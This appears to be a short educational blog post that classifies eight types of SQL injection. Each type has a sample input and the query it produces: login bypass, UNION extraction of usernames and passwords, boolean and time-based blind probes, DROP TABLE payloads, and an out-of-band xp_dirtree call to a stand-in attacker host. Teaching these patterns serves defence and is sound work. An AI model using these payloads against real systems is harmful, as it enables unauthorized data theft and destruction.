SQL Injection
SQL Injection
1. Classic (In-band) SQL
Injection
Definition: Attacker directly
manipulates SQL
queries via input fields.
Example:
The end-user enters into the online form field: ' OR 1=1 --
SQL:
SELECT * FROM user WHERE username = '' OR 1=1 --' AND psswrd = '';
W Returns all users, bypassing
login.
2. Error-Based SQL
Injection
Definition: Uses error messages
returned by the SQL
database to learn about structure.
Example:
The end-user enters into the online form field: ' ORDER BY 10 --
SQL:
SELECT * FROM products ORDER BY 10 --'
W If there are fewer than 10
columns, the DB returns an error revealing column info.
3. Union-Based SQL
Injection
Definition: Uses the SQL
UNION operator to combine results from multiple SELECT statements.
Example:
The end-user enters into the online form field:
' UNION SELECT username,
password FROM users --
SQL:
SELECT name FROM products WHERE id = '' UNION SELECT username, password FROM
users --';
W Combines product and user data
into one result set.
4. Blind SQL
Injection (Boolean-Based)
Definition: No visible errors,
but attacker infers from application behavior.
Example:
The end-user enters into the online form field: ' AND 1=1 --
SQL:
SELECT * FROM users WHERE username = 'admin' AND 1=1 --'
W Page loads normally.
Input: ' AND 1=2 --
SQL:
SELECT * FROM users WHERE username = 'admin' AND 1=2 --'
W Page behaves differently,
helping attacker deduce logic.
5. Time-Based Blind SQL
Injection
Definition: Uses database delays
to infer information.
Example (MySQL):
Input: ' OR IF(1=1, SLEEP(5), 0) --
SQL:
SELECT * FROM users WHERE username = '' OR IF(1=1, SLEEP(5), 0) --'
W If query takes 5 seconds to
respond, attacker confirms condition is true.
6. Out-of-Band SQL Injection
Definition: Exfiltrates data
using network protocols (e.g., DNS or HTTP).
Example:
Input: '; EXEC xp_dirtree '\\attacker.com\share' --
W On SQL
Server, this sends a request to attacker’s server, leaking data.
7. Second-Order SQL
Injection
Definition: Injected SQL
is stored in the DB and executed later.
Example:
- Attacker registers
with username: bob'); DROP TABLE users; --
- Later, admin panel
runs:
SELECT * FROM users WHERE username = 'bob'); DROP TABLE users; --'
W Table users is dropped.
8. Stored SQL
Injection
Definition: SQL
injection payload is permanently stored in the database.
Example:
- Attacker leaves a
comment:
Nice post'); DROP TABLE posts; -- - Later, admin views
the comments:
SELECT * FROM comments WHERE post_id = 42;
W If the app reuses the input
unsafely, the posts table could be dropped.
Comments
Post a Comment